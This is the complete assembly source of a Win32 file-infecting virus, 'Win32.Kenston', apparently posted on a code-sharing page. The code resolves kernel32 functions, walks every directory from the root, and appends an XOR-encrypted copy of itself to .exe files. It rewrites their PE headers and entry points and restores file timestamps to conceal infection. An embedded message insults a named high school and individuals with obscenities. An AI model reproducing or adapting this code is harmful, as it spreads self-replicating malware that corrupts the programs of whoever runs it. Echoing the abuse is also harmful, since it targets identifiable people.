Win32_Kenston.asm

Win32.Kenston
.386
locals
jumps
.model flat, STDCALL

extrn ExitProcess : PROC

org 1000h
.data
db "This is a virus.",0

.code
progstart:
push 0
call ExitProcess


STARTVIRUS:

call relativity
relativity:
pop ebp
cld
mov eax, ebp

db 2dh ;sub eax,
SaveEntry dd (offset relativity- offset progstart)
push eax
sub ebp, offset relativity

mov ecx, dword ptr [esp + 4]
and ecx, 0FFF00000h
mov ebx, 0BFF70000h ;Base address of win95's kernel
cmp ecx, 0BFF00000h ;are we win95 or 98?
je vulnerable
mov ebx, 077f00000h
cmp ecx, ebx ;are we NT?
jne exit


vulnerable:

mov ecx, ebx
mov edx, ecx ;Put imagebase in edx
mov dword ptr [ebp + imagebase], ecx ;Save the imagebase

xor eax, eax ;Clear eax
mov ax, word ptr [edx + 3Ch] ;Get relocation in MZ header
add ecx, eax ;Make ecx start of PE header

cmp word ptr [ecx], 'EP' ;Is everything working right?
jne exit

mov eax, dword ptr [ecx + 120] ;Get RVA of export table

add eax, edx ;Add on the Imagebase
mov dword ptr [ebp + offset ExportTable], eax ;Save the exporttable's address

mov ecx, dword ptr [eax + 24] ;Get number of entry's
dec ecx ;Drop number by one so bottom loop works
mov dword ptr [ebp + offset NumExports], ecx ;Store number of entrys

mov ecx, dword ptr [eax + 28] ;Get RVA of the Address Table
add ecx, edx ;Bias it by the Image Base
mov dword ptr [ebp + offset AddressTable], ecx ;Save the address

mov ecx, dword ptr [eax + 36] ;Get RVA of the Ordinal Table
add ecx, edx ;Bias it by the Image Base
mov dword ptr [ebp + offset OrdinalTable], ecx ;Save the address

mov ecx, dword ptr [eax + 32] ;Get RVA of the Name Table
add ecx, edx ;Bias it by the Image Base
mov dword ptr [ebp + offset NameTable], ecx ;Save the address

;Upon entry:
; ecx=start of RVA String table
; edx=imagebase
; ebx=start of string of function to resolve
;Returns:
; ebx=Address of function

lea ebx, [ebp + offset LoadLibraryaS] ;Function to scan for
push ecx ;Save start of RVA name table
call resolveexport ;Resolve LoadLibraryA


pop ecx
mov dword ptr [ebp + offset loadlibrarya], ebx ;Save address of loadlibrarya

lea ebx, [ebp + GetProcAddressS] ;Load address of function to resolve
call resolveexport ;Resolve getprocaddress
mov dword ptr [ebp + offset getprocaddress], ebx ;Save getprocaddress


lea esi, [ebp + offset APIList] ;Where function strings are started
lea edi, [ebp + offset FindFile] ;Where to store resolved address's
call maketable

lea ebx, [ebp + offset DirSave]
push ebx
push 256
mov ebx, [ebp + offset GetCurrentDir]
call ebx
cmp eax, 00h
je exit ;If not successfull then quit

lea ebx, [ebp + offset Root] ;Go to the root directory
push ebx
mov ebx, dword ptr [ebp + offset SetCurrentDir]
call ebx
cmp eax, 01 ;Were we sucessfull?
jne exit ;If not then exit

call InfectFirstDirectory

lea ebx, [ebp + offset DirSave] ;Go to the original directory
push ebx
mov ebx, dword ptr [ebp + offset SetCurrentDir]
call ebx

exit:
pop eax ;Return to host
jmp eax


InfectFirstDirectory:
lea ebx, [ebp + offset win32_file_data]
push ebx
lea ebx, [ebp + offset DirWildCard]
push ebx
mov ebx, dword ptr [ebp + offset FindFile]
call ebx
cmp eax, -1
je DoneDirScanning
mov dword ptr [ebp + offset DirSearchHandle], eax ;Save our search handle

cmp dword ptr [ebp + offset fileattr], 10h
jne NotADir1
cmp byte ptr [ebp + offset Fullname], '.'
je InfectNextDirectory


call TryInfectingDir ;Try infecting the possible directory
NotADir1:

InfectNextDirectory:

lea ebx, [ebp + offset win32_file_data] ;Where to store fileinfo
push ebx
push dword ptr [ebp + offset DirSearchHandle]
mov ebx, dword ptr [ebp + offset FindNext]
call ebx ;Find next file

cmp eax, 01
jne DoneDirScanningNoneFound

cmp dword ptr [ebp + offset fileattr], 10h
jne NotADir2
cmp byte ptr [ebp + offset Fullname], '.'
je NotADir2

call TryInfectingDir
NotADir2:
jmp InfectNextDirectory


DoneDirScanning:

push dword ptr [ebp + offset DirSearchHandle] ;Close the search handle
mov eax, [ebp + offset FindClose]
call eax

DoneDirScanningNoneFound:
ret

TryInfectingDir:

lea ebx, [ebp + offset FullName] ;Go to the dir we found
push ebx
mov ebx, dword ptr [ebp + offset SetCurrentDir]
call ebx
cmp eax, 01 ;Was it really a directory?
jne NotaDirectory ;If not dont infect it or drop out of it

call FindFirstFile

push dword ptr [ebp + offset DirSearchHandle]
call InfectFirstDirectory
pop dword ptr [ebp+ offset DirSearchHandle]

lea ebx, [ebp + offset DotDot] ;We are going to the previous dir
push ebx
mov ebx, dword ptr [ebp + offset SetCurrentDir]
call ebx
NotaDirectory:
ret






FindFirstFile:

lea ebx, [ebp + offset win32_file_data] ;Where file info goes
push ebx
lea ebx, [ebp + offset EXEWildcard] ;What to search for
push ebx
mov ebx, dword ptr [ebp + offset FindFile] ;Find first file
call ebx

cmp eax, -1 ;Error?
je ExitScanning
mov dword ptr [ebp + offset SearchHandle], eax ;Save search handle

jmp check_file

FindNextFile:

lea ebx, [ebp + offset win32_file_data] ;Where to store fileinfo
push ebx
push dword ptr [ebp + offset SearchHandle] ;Saved search handle
mov ebx, dword ptr [ebp + offset FindNext]
call ebx ;Find next file


cmp eax, 01
jne DoneScanning


check_file:


push 0
push 20h
push 3 ;Open existing file
push 0
push 0
push 80000000h + 40000000h ;Open for reading and writing
lea ebx, [ebp + offset fullname]
push ebx
mov ebx, dword ptr [ebp + offset Createfile]
call ebx

cmp eax, -1 ;Was there any error?
je FindNextFile

mov dword ptr [ebp + FileHandle], eax ;Save file handle

xor eax, eax
lea edi, [ebp + offset WorkBuffer + 56] ;Go to memory to initalize
stosd
stosd ;This fixes a very lame bug, It should really zero out the
;whole workbuffer before each file
;is read but since its a runtime virus its written
;for efficency.


mov edx, 63 ;Read in first 63 bytes
lea ecx, [ebp + offset WorkBuffer] ;Buffer we read into
call Read_file

cmp dword ptr [ebp + offset BytesRead], 63
jb TryNext ;Did we read in enough?

lea ebx, [ebp + offset WorkBuffer]
cmp word ptr [ebx], 'ZM' ;Is it an exe?
jne TryNext ;If it isnt scan next file

add ebx, 3Bh ;Go to the infection marker

cmp byte ptr [ebx], 'a' ;are we infected already?
je TryNext ;If so try next file
inc ebx ;Point to relocation
mov edx, dword ptr [ebx] ;Read the relocation

mov dword ptr [ebp + offset MZReloc], edx ;Save the relocation

call Set_Pointer ;Set file pointer to PE header

cmp eax, 0FFFFFFFFh
je TryNext

mov edx, 120 ;Try to read in first 120 bytes of PE Header
lea ecx, [ebp + offset WorkBuffer] ;Buffer we read into
call Read_file
cmp dword ptr [ebp + offset BytesRead], 120
jne TryNext ;Did we read in enough?

cmp word ptr [ebp + offset WorkBuffer], 'EP' ;Are we in in the peheader?
jne TryNext

mov ebx, dword ptr [ebp + offset HeaderSze] ;Get the HeaderSize
sub ebx, dword ptr [ebp + offset MZReloc] ;Subtract the MZ header
mov dword ptr [ebp + offset HeaderSize], ebx ;Save the PE header's size

cmp ebx, 3000 ;Are we going to overflow our memory?
ja TryNext
push ebx ;Save number of bytes to read in

mov edx, dword ptr [ebp + offset MZReloc] ;Reset pointer back to the peheader
call Set_Pointer

cmp eax, 0FFFFFFFFh
je TryNext

pop edx ;Try to read in HeaderSize bytes
lea ecx, [ebp + offset WorkBuffer] ;Buffer we read into
call Read_file

mov ebx, dword ptr [ebp + offset Headersize] ;How many bytes should have been read?
cmp ebx, dword ptr [ebp + offset BytesRead]
jne TryNext ;Did we read in enough?

xor ecx, ecx
mov cx, word ptr [ebp + offset NumObjects] ;Read in number of objects

cmp cx, 00h ;Are there objects?
je TryNext

xor ebx, ebx
mov bx, word ptr [ebp + offset NTHeaderSze] ;Read in the NTHeaderSize
add ebx, 24 ;Add on the rest

lea edx, dword ptr [ebp + offset WorkBuffer]
;Workbuffer + NTHeadersize + 24 = start of object table
add edx, ebx ;Locate the object table

push edx ;Save start of object table
xor edx, edx
mov eax, ecx ;Handoff # of objects
mov ecx, 40 ;Each object is 40 bytes long
mul ecx ;# objects * 40
sub eax, 40 ;Backtrack to start of last object

pop edx ;Make edx the start of the object table in memory

add edx, eax ;Point edx to last object

mov ebx, dword ptr [edx + 20] ;Load the Physical Offset
push ebx ;Save for use with virtual size
mov eax, dword ptr [edx + 16] ;Load the Physical Size
add ebx, eax ;Add them together
mov edi, dword ptr [ebp + offset FileSize] ;Wont work if file is larger than 4.3 gigs...oh well

add edi, (offset EndVirus - offset StartVirus) + (offset Encryptionframe - offset Encrypt) ;Put on the virussize of our virus in memory

sub edi, ebx ;Determine distance from end of virus to old end of object
add eax, edi ;Make our new physical size

mov ebx, eax
sub ebx, (offset EndVirus- offset StartVirus) + (offset Encryptionframe - offset Encrypt)

mov esi, dword ptr [edx + 12] ;Get RVA for determining entrypointRVA
add esi, ebx ;Find out our entrypointRVA


mov dword ptr [ebp + offset VirusRVA], esi ;Save the virus's RVA

add esi, dword ptr [ebp + offset ImgBase] ;Make the Entrypoint RVA the EntrypointVA
add esi, (offset EncryptionFrame - offset Encrypt) ;Make it point to the encrypted virus in memory
mov dword ptr [ebp + offset VirusVA], esi ;Save the VA for later

mov ecx, dword ptr [ebp + offset FileAlign] ;Get our alignment value

; call File_Align ;Aligns eax

mov dword ptr [edx + 16], eax ;Save our new physical size

pop ebx ;Load the physical offset
mov eax, dword ptr [edx + 8] ;Load the virtual size
add ebx, eax ;Determine end of virtual space
mov edi, dword ptr [ebp + offset FileSize]
add edi, (offset BufferEnd - offset StartVirus) + (offset EncryptionFrame - offset Encrypt) ;Add the virus and its heap to it

sub edi, ebx ;Determine distance between end of virus's heap and end of virtual space

add edi, eax ;Make our virtual size

mov dword ptr [edx + 8], edi ;Save our new virtualsize

mov ecx, dword ptr [edx + 12] ;Get the objects RVA
add ecx, edi ;Make our new ImageSize
mov dword ptr [ebp + offset ImageSize], ecx ;Save our new Imagesize

mov dword ptr [edx + 36], 0E0000040h ;Fix the flags

;We do all the dispatcher and loading shit here
mov ecx, dword ptr [ebp + offset EntrypointRVA]

mov eax, dword ptr [ebp + offset VirusRVA]
mov dword ptr [ebp + offset EntrypointRVA], eax

sub eax, ecx

add eax, (offset relativity - offset startvirus) + (offset EncryptionFrame - offset Encrypt) ;Makeup for the call instruction

mov dword ptr [ebp + offset SaveEntry], eax

mov edx, 3Bh ;Offset we write marker byte at

call Set_Pointer ;Go to place to write marker

mov ebx, 1h ;Write one byte
lea ecx, dword ptr [ebp + offset InfectionMarker] ;The byte to write
call Write_File ;Write the infection marker

mov edx, dword ptr [ebp + offset MZReloc]
call Set_Pointer ;Goto the start of the peheader

mov ebx, dword ptr [ebp + offset BytesRead] ;How much to write
lea ecx, [ebp + offset WorkBuffer] ;Write our modified PE header
call Write_File ;Write it!


lea esi, [ebp + offset StartVirus] ;Copy the virus to the work buffer to encrypt
lea edi, [ebp + offset WorkBuffer] ;Where to copy it
mov dword ptr [ebp + offset StartEncrypt], edi ;We use this below

mov ecx, (offset EndVirus - offset StartVirus) ;How much to copy
rep movsb

inc byte ptr [ebp + offset Key] ;Change the key

Call Encrypt ;Encrypt our code

mov ebx, dword ptr [ebp + VirusVA] ;Get our Entrypoint VA
mov dword ptr [ebp + offset StartEncrypt], ebx ;Store it in the routine

xor edx,edx
call Set_EOF ;Go to EOF

mov ebx, (offset EncryptionFrame - offset Encrypt) ;Size of encryption routine to write
lea ecx, [ebp + offset Encrypt] ;Write encryption routine
call Write_File

mov ebx, (offset EndVirus - offset StartVirus) ;Size of the virus to write
lea ecx, [ebp + offset WorkBuffer] ;Where the encrypted virus is in memory
call Write_File ;Write the virus

lea ebx, [ebp + offset LastWriteTime] ;Get ptr to last writetime
push ebx
sub ebx,8 ;Point it to lastaccesstime
push ebx
sub ebx, 8 ;Point it to createtime
push ebx
push dword ptr [ebp + offset FileHandle] ;Push on the file handle
mov ebx, dword ptr [ebp + offset SetFileTime]
call ebx ;Change the file's times

call Close_File



DoneScanning:

push dword ptr [ebp + offset SearchHandle]
mov eax, [ebp + offset FindClose]
call eax


ExitScanning:

ret

TryNext:

call Close_File

jmp FindNextFile

Read_File:

push 0
lea ebx, [ebp + offset BytesRead] ;Where to put # of bytes read
push ebx

push edx ;Number of bytes to read
push ecx ;Address of buffer
push dword ptr [ebp + offset FileHandle]
mov ebx, dword ptr [ebp + offset ReadFile]
call ebx ;Read the file

ret

Write_File:
push 0
lea eax, [ebp + offset BytesWritten]
push eax ;Where to return # of bytes written

push ebx ;# of bytes to write
push ecx ;Where to write from
push dword ptr [ebp + offset FileHandle]
mov ebx, dword ptr [ebp + offset WriteFile]
call ebx
ret


;Upon Entry:
; edx=New actual address in file


Set_EOF:
push 02h
jmp jumpover
Set_Pointer:
push 00

jumpover:

push 0
push edx ;Where to go in file
push dword ptr [ebp + offset FileHandle]
mov ebx, [ebp + offset SetFilePointer]
call ebx
ret



File_Align:

;Upon entry ecx = alignment value
;eax = Size to process
;eax returns aligned size
push edx
xor edx, edx
div ecx
inc eax
mul ecx

pop edx
ret

Close_File:

push dword ptr [ebp + offset FileHandle]
mov eax, dword ptr [ebp + offset CloseFile]
call eax ;Close the file
ret


;Upon entry:
; esi=Function string table.
; edi=Our address table.


maketable:

lea ebx, [ebp + offset loadlibrarya]
push esi ;Next in string table
call dword ptr [ebx] ;call loadlibrarya
mov edx, eax ;Save module handle

loopuntilnull:

inc esi
cmp byte ptr [esi], 00h
jne loopuntilnull ;loop until at end of string
inc esi
cmp byte ptr [esi], 01h ;Are we on last loop?
je donelooping


lea ebx, [ebp + offset GetProcAddress]

push edx
push esi ;pointer to function name
push edx ;base address of dll
call dword ptr [ebx] ;Getprocaddress in import table
pop edx
stosd
jmp loopuntilnull

donelooping:

ret






resolveexport:
;Upon entry:
; ecx=start of RVA String table
; edx=imagebase
; ebx=start of string of function to resolve
;Returns:
; ebx=Address of function

xor edi,edi

scanstring:
mov esi, dword ptr [ecx] ;Load RVA of string to scan
add esi, edx ;Bias it by the Imagebase

push ebx ;Bad way to save ebx for later use

scanloop:
lodsb

cmp al, 00h ;Is it a null character?
je foundstring
cmp byte ptr [ebx], al ;Does the character match?
jne scannext ;If not scan next string

inc ebx ;Advance the byte we are
;scanning for.
jmp scanloop
scannext:
pop ebx
add ecx, 4 ;Move it to the next export?
inc edi ;Increment the counter
cmp dword ptr [ebp + NumExports], edi ;Are we on last export?
je exit ;Abort if out of exports

jmp scanstring

foundstring:
pop ebx ;Keep the stack nice and neat

add edi, edi ;Multiply by 2 because Ordinal
;Table is 16 bits
mov ebx, dword ptr [ebp + OrdinalTable]
add edi, ebx ;Point edi to getprocaddress's entry

xor ebx, ebx
mov bx, word ptr [edi] ;Get 16bit ordinal number

lea ebx, [ebx * 4] ;Multiply by 4 because the Address
;table is made of double words.
mov esi, dword ptr [ebp + AddressTable]
add esi, ebx ;Point esi to RVA in addresstable

mov ebx, dword ptr [esi] ;Move RVA to ebx
add ebx, edx ;Offset it with the imagebase

ret

Encrypt:
mov ecx, (offset EndVirus - offset StartVirus)

db 0BBh ;Mov ebx,
StartEncrypt dd 000000000h
db 0B0h ;mov al,
Key db 00h


XorLoop:
xor byte ptr [ebx], al
inc ebx
dec ecx
cmp ecx, 00h
jne XorLoop
EncryptionFrame:
ret

STARTDATA:
;We use these to find functions in KERNEL32.DLL's export table
LoadLibraryAS db "LoadLibraryA"
GetProcAddressS db "GetProcAddress"

;These are the functions we need to get the address's of:
APIList:
db "KERNEL32",0
db "FindFirstFileA",0
db "FindNextFileA",0
db "FindClose",0
db "SetFileAttributesA",0
db "SetFileTime",0
db "CreateFileA",0
db "ReadFile",0
db "WriteFile",0
db "SetFilePointer",0
db "CloseHandle",0
db "SetCurrentDirectoryA",0
db "GetCurrentDirectoryA",0,01h ;01h stops the looking up


db "Boles and Manning are arrogant facists."
db " They have no computer sk1llz and KENSTON HIGH SCHOOL's"
db " computers are 0wn3d. I AM BACK KOONS YOU MOTHERFUCKER "
db "dowN wiTh KenSTON..... yOU tRIED tO rID yOUrSELf oF mE BefoRE"
db "bUT fAILED"
db "HAHAHAHAHAHAHAHAHAHAHAHAHAHAHA"

DirWildcard db "*.",0
EXEWildcard db "*.exe",0
InfectionMarker db "a"
DotDot db "..",0
root db "",0

ENDVIRUS:

;These are addresses already offseted by the Image base when saved
ImageBase dd 1 dup (?)
ExportTable dd 1 dup (?)
AddressTable dd 1 dup (?)
NameTable dd 1 dup (?)
OrdinalTable dd 1 dup (?)
NumExports dd 1 dup (?)
GetProcAddressCall dd 1 dup (?)


;These are used in infecting files
BytesWritten dd 1 dup (?)
SearchHandle dd 1 dup (?)
DirSearchHandle dd 1 dup (?)
FileHandle dd 1 dup (?)
BytesRead dd 1 dup (?)
MZReloc dd 1 dup (?)
HeaderSize dd 1 dup (?)
NTHeaderSize dd 1 dup (?)
VirusRVA dd 1 dup (?)
InfectCounter dd 1 dup (?)
VirusVA dd 1 dup (?)

;Place to store the two routines used to look up the rest
LoadLibraryA dd 1 dup (?)
GetProcAddress dd 1 dup (?)

;This becomes a table of these functions address's
FindFile dd 1 dup (?)
FindNext dd 1 dup (?)
FindClose dd 1 dup (?)
SetAttrib dd 1 dup (?)
SetFileTime dd 1 dup (?)
CreateFile dd 1 dup (?)
ReadFile dd 1 dup (?)
WriteFile dd 1 dup (?)
SetFilePointer dd 1 dup (?)
CloseFile dd 1 dup (?)
SetCurrentDir dd 1 dup (?)
GetCurrentDir dd 1 dup (?)

DirSave db 256 dup (?)

win32_file_data:
fileattr dd 1 dup (?)
createtime dd 2 dup (?)
lastaccesstime dd 2 dup (?)
lastwritetime dd 2 dup (?)
dd 1 dup (?)
filesize dd 1 dup (?)
resv dd 2 dup (?)
fullname db 256 dup (?)
realname db 256 dup (?)

WorkBuffer:

Signature dd 1 dup (?)
Cputype dw 1 dup (?)
NumObjects dw 1 dup (?)
dd 3 dup (?)
NtHeaderSze dw 1 dup (?)
Flags dw 1 dup (?)
dd 4 dup (?)
EntrypointRVA dd 1 dup (?)
dd 2 dup (?)
ImgBase dd 1 dup (?)
Objectalign dd 1 dup (?)
Filealign dd 1 dup (?)
dd 4 dup (?)
Imagesize dd 1 dup (?)
Headersze dd 1 dup (?)

db 3000 dup (?)
BufferEnd:

ends
end STARTVIRUS

你可能感兴趣的:(Virus)